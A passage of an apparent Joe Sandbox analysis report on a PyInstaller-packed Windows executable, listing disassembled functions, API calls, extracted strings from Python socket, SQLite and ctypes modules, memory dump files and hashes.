FreeAddrInfoW.WS2_32 ref: 00007FFB1BA474A5
FreeAddrInfoW.WS2_32 ref: 00007FFB1BA4752F

Strings

socket.getaddrinfo, xrefs: 00007FFB1BA47317
getaddrinfo() argument 1 must be string or None, xrefs: 00007FFB1BA4753E
Int or String expected, xrefs: 00007FFB1BA474E4
OOiii, xrefs: 00007FFB1BA47306
OO|iiii:getaddrinfo, xrefs: 00007FFB1BA471DC
iiisO, xrefs: 00007FFB1BA47404
idna, xrefs: 00007FFB1BA4725B

Memory Dump Source

Source File: 00000007.00000002.1715198195.00007FFB1BA41000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00007FFB1BA40000, based on PE: true

Associated: 00000007.00000002.1715163702.00007FFB1BA40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA51000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA53000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA56000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715358150.00007FFB1BA57000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715396794.00007FFB1BA58000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ba40000_X9g8L63QGs.jbxd

Similarity

API ID: AddrFreeInfo$getaddrinfo
String ID: Int or String expected$OOiii$OO|iiii:getaddrinfo$getaddrinfo() argument 1 must be string or None$idna$iiisO$socket.getaddrinfo
API String ID: 2288433384-1074899869
Opcode ID: 63f66e3a477a56477b6af0f125f3a74155b83d1ef738e198483645070b047c49
Instruction ID: f4d18b23a1cf495ca48aa3e76aea62711cd2b7eec8feafc2b4e0fb7559b95203
Opcode Fuzzy Hash: 63f66e3a477a56477b6af0f125f3a74155b83d1ef738e198483645070b047c49
Instruction Fuzzy Hash: 14C140B2B29E828AEB58CF31D4445B83BA6FB44BA4F08A635DE4D52764DF3CE554C700

Function 00007FF7C2661470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7C26614DE
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7C266149F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7C26615DF
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7C2661518
fread, xrefs: 00007FF7C26615E6
malloc, xrefs: 00007FF7C266151F
fseek, xrefs: 00007FF7C26614E5

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 04b243870eaa5c32a21b3d253070710121dc7759fdc345f161b4ef5edbe2d9a9
Instruction ID: 74630ec983ff8b59630089cc6483ce3fa238ccc11d678c6f5ce9123bb77f3583
Opcode Fuzzy Hash: 04b243870eaa5c32a21b3d253070710121dc7759fdc345f161b4ef5edbe2d9a9
Instruction Fuzzy Hash: E2418061A08A4285EB10FF25A4005B9E3A2AF44BA4FC44532ED8D67F95DFBCE541C738

Function 00007FFB0C0A43D0 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 334
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C0A4559

Strings

sqlite_temp_master, xrefs: 00007FFB0C0A4415
CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text), xrefs: 00007FFB0C0A4474
table, xrefs: 00007FFB0C0A43FA
sqlite_master, xrefs: 00007FFB0C0A441C
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 00007FFB0C0A474F
ase, xrefs: 00007FFB0C0A465D

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text)$SELECT*FROM"%w".%s ORDER BY rowid$ase$sqlite_master$sqlite_temp_master$table
API String ID: 3122504284-879093740
Opcode ID: e170ef40a4f3ef8d4980dc40dd55d35e8b3872a5a5acbb993ef25cbf03bf03a6
Instruction ID: 4eba075c3f63e8d490b51206008d678b83bd88f68e9157a9c80bf0509700f7aa
Opcode Fuzzy Hash: e170ef40a4f3ef8d4980dc40dd55d35e8b3872a5a5acbb993ef25cbf03bf03a6
Instruction Fuzzy Hash: 1DE1BBE6E0879286EB14CBB5D048ABD27A5FF44B88F055271CE0C177A1EF78E852C344

Function 00007FF7C2661210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF7C266141E
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF7C26612BA
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF7C2661276
malloc, xrefs: 00007FF7C26612C1, 00007FF7C26612F6
1.3.1, xrefs: 00007FF7C2661249
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF7C26612EF

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: d1e98af981c38af556f8ae3374d5d3c26190a069fecd9da32f136ef13cde2e87
Instruction ID: 013edc6fe4290a9722309ce62581d231d2c44df3182eafa82d29c95cdecacf6e
Opcode Fuzzy Hash: d1e98af981c38af556f8ae3374d5d3c26190a069fecd9da32f136ef13cde2e87
Instruction Fuzzy Hash: F151B622A08A4281EA60BF15A4503B9A2A2FF85BA4FC44135ED8D67FD5DFBCD541C734

Function 00007FFB1BA45190 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 114
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAGetLastError.WS2_32 ref: 00007FFB1BA45237
WSAGetLastError.WS2_32 ref: 00007FFB1BA4523F
WSAGetLastError.WS2_32 ref: 00007FFB1BA452A4
WSAGetLastError.WS2_32 ref: 00007FFB1BA452AC

Part of subcall function 00007FFB1BA44594: select.WS2_32 ref: 00007FFB1BA4465C

WSAGetLastError.WS2_32 ref: 00007FFB1BA452CC
WSAGetLastError.WS2_32 ref: 00007FFB1BA452E1

Strings

timed out, xrefs: 00007FFB1BA45313

Memory Dump Source

Source File: 00000007.00000002.1715198195.00007FFB1BA41000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00007FFB1BA40000, based on PE: true

Associated: 00000007.00000002.1715163702.00007FFB1BA40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA51000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA53000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA56000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715358150.00007FFB1BA57000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715396794.00007FFB1BA58000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ba40000_X9g8L63QGs.jbxd

Similarity

API ID: ErrorLast$select
String ID: timed out
API String ID: 1043644060-3163636755
Opcode ID: 2fa3c06ebeaf9c0b40a6faa06e916f4905ba1cf81e27fc86f0a827eb6aef7c75
Instruction ID: 236b644816a8106e11562bbe1ef427c5e2574afe9b01e499b263273b0ee788b8
Opcode Fuzzy Hash: 2fa3c06ebeaf9c0b40a6faa06e916f4905ba1cf81e27fc86f0a827eb6aef7c75
Instruction Fuzzy Hash: DD41BEA1E2CE0286FA685B75E4442396292FF45B74F0CE331DE9D42AB4DF3CE8858601

Function 00007FF7C26636B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF7C2663804), ref: 00007FF7C26636E1
GetLastError.KERNEL32(?,00007FF7C2663804), ref: 00007FF7C26636EB

Part of subcall function 00007FF7C2662C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7C2663706,?,00007FF7C2663804), ref: 00007FF7C2662C9E
Part of subcall function 00007FF7C2662C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7C2663706,?,00007FF7C2663804), ref: 00007FF7C2662D63
Part of subcall function 00007FF7C2662C50: MessageBoxW.USER32 ref: 00007FF7C2662D99

Strings

Failed to obtain executable path., xrefs: 00007FF7C26636F3
Failed to convert executable path to UTF-8., xrefs: 00007FF7C2663790
Failed to resolve full path to executable %ls., xrefs: 00007FF7C2663739
GetModuleFileNameW, xrefs: 00007FF7C26636FA
\\?\, xrefs: 00007FF7C266375A

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction ID: 4133b74280d9d2b8651899db4c27cb38a9961711c748b40e9f9c750c72edb290
Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction Fuzzy Hash: 70217461B1864281FA20BF20E8543B59262BF94768FC00136D9DDA3FD5EEBCE515C338

Function 00007FF7C267BACC Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C267BEF9

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2e9ec559793cd78946ccf1fde0a110b7883fce20fe8558fd890645317879f727
Instruction ID: 50657baf3df4cdfbdea6d67b2f69fd4d24220e9b3d3ca57c05f04a0d927bd32c
Opcode Fuzzy Hash: 2e9ec559793cd78946ccf1fde0a110b7883fce20fe8558fd890645317879f727
Instruction Fuzzy Hash: 16C1832290868681E651BF25A4442BDE762EB81FA0FD54131EACE23BD1DFFCE855C770

Function 00007FFB0C058F60 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 139COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140(?,?,-8000000000000000,?,00000000,00007FFB0C09D0A0), ref: 00007FFB0C0590FD

Strings

%s at line %d of [%.10s], xrefs: 00007FFB0C058FC3
misuse, xrefs: 00007FFB0C058FB7
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFB0C058FAA
API called with finalized prepared statement, xrefs: 00007FFB0C058F8C
API called with NULL prepared statement, xrefs: 00007FFB0C058F74

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$API called with NULL prepared statement$API called with finalized prepared statement$misuse
API String ID: 3122504284-3538577999
Opcode ID: 8aee8216e6bb90ed0f6427045674268c568246bd6dcf235ef98a3a1ed13a0b1f
Instruction ID: a65c089272efcfd1b11068630e4f427a687631393f92e62efed79d9a7e24d827
Opcode Fuzzy Hash: 8aee8216e6bb90ed0f6427045674268c568246bd6dcf235ef98a3a1ed13a0b1f
Instruction Fuzzy Hash: 0451BFE1A0E692C7FA159B35D418ABA6391AF84B90F485531DE5D0B3C5EF3EEC42C308

Function 00007FFB1BA46C9C Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 82COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FFB1BA46CF6
setsockopt.WS2_32 ref: 00007FFB1BA46DE7

Strings

iiy*:setsockopt, xrefs: 00007FFB1BA46D81
iii:setsockopt, xrefs: 00007FFB1BA46CC5
socket option is larger than %i bytes, xrefs: 00007FFB1BA46DB1
iiO!I:setsockopt, xrefs: 00007FFB1BA46D20

Memory Dump Source

Source File: 00000007.00000002.1715198195.00007FFB1BA41000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00007FFB1BA40000, based on PE: true

Associated: 00000007.00000002.1715163702.00007FFB1BA40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA51000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA53000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA56000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715358150.00007FFB1BA57000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715396794.00007FFB1BA58000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ba40000_X9g8L63QGs.jbxd

Similarity

API ID: setsockopt
String ID: iiO!I:setsockopt$iii:setsockopt$iiy*:setsockopt$socket option is larger than %i bytes
API String ID: 3981526788-1608436615
Opcode ID: e5620e990f8220b448d5b59fe45baab9dc0f6dbd4740d24abe31777b74632af3
Instruction ID: 703ad5c85638447a5f573ec54dc637e68f2f1f14383e3b625e2dffdb6f066076
Opcode Fuzzy Hash: e5620e990f8220b448d5b59fe45baab9dc0f6dbd4740d24abe31777b74632af3
Instruction Fuzzy Hash: BE414DB1618E86C6EB248F25E4407A97362FB88BA4F589232DA8D43B74DF3CD549C740

Function 00007FF7C2666350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF7C2666446
ucrtbase.dll, xrefs: 00007FF7C26663CD
LoadLibrary, xrefs: 00007FF7C266649E
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF7C26663B7
Failed to load Python DLL '%ls'., xrefs: 00007FF7C2666497
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF7C26663F7

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 113c6b1de756f4b5b5eb6aeb9c43a8ac160651dc44d73755d1f433b83002bd4c
Instruction ID: cead83cd1ccf990a599cd26594d67f04881fba9857dd11e7a31f7606ff52a15b
Opcode Fuzzy Hash: 113c6b1de756f4b5b5eb6aeb9c43a8ac160651dc44d73755d1f433b83002bd4c
Instruction Fuzzy Hash: F2416021A19A86D1EA25EF20E4142E9A322FB54364FC04132DADD63F99EFBCE515C374

Function 00007FFB0C02FFD0 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 409fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FFB0C03020A

Strings

winOpen, xrefs: 00007FFB0C03047D
delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FFB0C0302E6
psow, xrefs: 00007FFB0C030581
exclusive, xrefs: 00007FFB0C03019B

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: CreateFile
String ID: delayed %dms for lock/sharing conflict at line %d$exclusive$psow$winOpen
API String ID: 823142352-3829269058
Opcode ID: 9fa68a4d019e543b82f48475598e9f337480dd6f5aee3ec3198131acb147343e
Instruction ID: 22cad1ae816d5290cecbe1a906a077b412109e214054b6e8a2fe779c8b85353d
Opcode Fuzzy Hash: 9fa68a4d019e543b82f48475598e9f337480dd6f5aee3ec3198131acb147343e
Instruction Fuzzy Hash: AB0290E1A0E64286FB548B31E858B7963A5FF84B58F584235DE5E426A4EF3CE448C70C

Function 00007FFB0C1A6360 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 233COMMON

Download Yara Rule

APIs

00007FFB0C2F805C.PYTHON312 ref: 00007FFB0C1A6511
00007FFB0C2F805C.PYTHON312 ref: 00007FFB0C1A6525

Strings

BEGIN, xrefs: 00007FFB0C1A667B
sqlite3.connect, xrefs: 00007FFB0C1A6396
sqlite3.connect/handle, xrefs: 00007FFB0C1A65BD

Memory Dump Source

Source File: 00000007.00000002.1713252916.00007FFB0C1A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFB0C1A0000, based on PE: true

Associated: 00000007.00000002.1713216867.00007FFB0C1A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1B9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1BF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713365488.00007FFB0C1C1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713399942.00007FFB0C1C3000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c1a0000_X9g8L63QGs.jbxd

Similarity

API ID: 00007F805
String ID: BEGIN$sqlite3.connect$sqlite3.connect/handle
API String ID: 4011786353-2348745481
Opcode ID: 9d4ea5e82f375ba1b03b948d9975b46a180430bb194de34b564c94f02b4a9628
Instruction ID: 76a0b9723a6547e330aa9eff771c2d4f8c0216d845693f20a54e460425e2aaa9
Opcode Fuzzy Hash: 9d4ea5e82f375ba1b03b948d9975b46a180430bb194de34b564c94f02b4a9628
Instruction Fuzzy Hash: BDB137F6A09B42C6EB608F75E948A6933A4FF49B94F084175DA8E43B64DF3CE456C700

Function 00007FFB0C02D9E0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 110fileCOMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C02DA23
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C02DA4C
ReadFile.KERNEL32 ref: 00007FFB0C02DA9F

Strings

winRead, xrefs: 00007FFB0C02DAF7
delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FFB0C02DB38

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010$FileRead
String ID: delayed %dms for lock/sharing conflict at line %d$winRead
API String ID: 1046191242-1843600136
Opcode ID: 66d7818fc9c6dce62004362554e4c0cfd5c82727d3bea9d87ae7196a0384542c
Instruction ID: e2a9570a871c565af9b859ee56089887b7dfd66812692363ffb069ca447db785
Opcode Fuzzy Hash: 66d7818fc9c6dce62004362554e4c0cfd5c82727d3bea9d87ae7196a0384542c
Instruction Fuzzy Hash: 834103E2A0C74686E6118F35E848DA9B7A6FF94B80F544032EE5D47694EF3CE846C748

Function 00007FFB1BA44484 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 77networkCOMMON

Download Yara Rule

APIs

connect.WS2_32 ref: 00007FFB1BA444B5
WSAGetLastError.WS2_32 ref: 00007FFB1BA444CE
WSAGetLastError.WS2_32 ref: 00007FFB1BA444DA
WSASetLastError.WS2_32 ref: 00007FFB1BA44501

Strings

3', xrefs: 00007FFB1BA4451A

Memory Dump Source

Source File: 00000007.00000002.1715198195.00007FFB1BA41000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00007FFB1BA40000, based on PE: true

Associated: 00000007.00000002.1715163702.00007FFB1BA40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA51000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA53000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA56000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715358150.00007FFB1BA57000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715396794.00007FFB1BA58000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ba40000_X9g8L63QGs.jbxd

Similarity

API ID: ErrorLast$connect
String ID: 3'
API String ID: 375857812-280543908
Opcode ID: 5eb7b83bdcbeebc66fb35dc6d107fd47d0d0fc8193655a836ea57c28fa277336
Instruction ID: 428edc16c8630e27337acb798091ab0a402dee1c39b4c0b13ca6877538a09735
Opcode Fuzzy Hash: 5eb7b83bdcbeebc66fb35dc6d107fd47d0d0fc8193655a836ea57c28fa277336
Instruction Fuzzy Hash: 203192B1B28F4286EB688F75E44417962A2FF447B4F08A335EA5D437B4DF3CE8408601

Function 00007FFB1B6F430C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00007FFB1B6F4383
GetLastError.KERNEL32 ref: 00007FFB1B6F926C

Strings

Could not find module '%.500S' (or one of its dependencies). Try using the full path with constructor syntax., xrefs: 00007FFB1B6F9280
ctypes.dlopen, xrefs: 00007FFB1B6F434A
U|i:LoadLibrary, xrefs: 00007FFB1B6F4329

Memory Dump Source

Source File: 00000007.00000002.1714967826.00007FFB1B6F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FFB1B6F0000, based on PE: true

Associated: 00000007.00000002.1714933150.00007FFB1B6F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B708000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B710000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715084541.00007FFB1B712000.00000080.00000001.01000000.00000007.sdmpDownload File
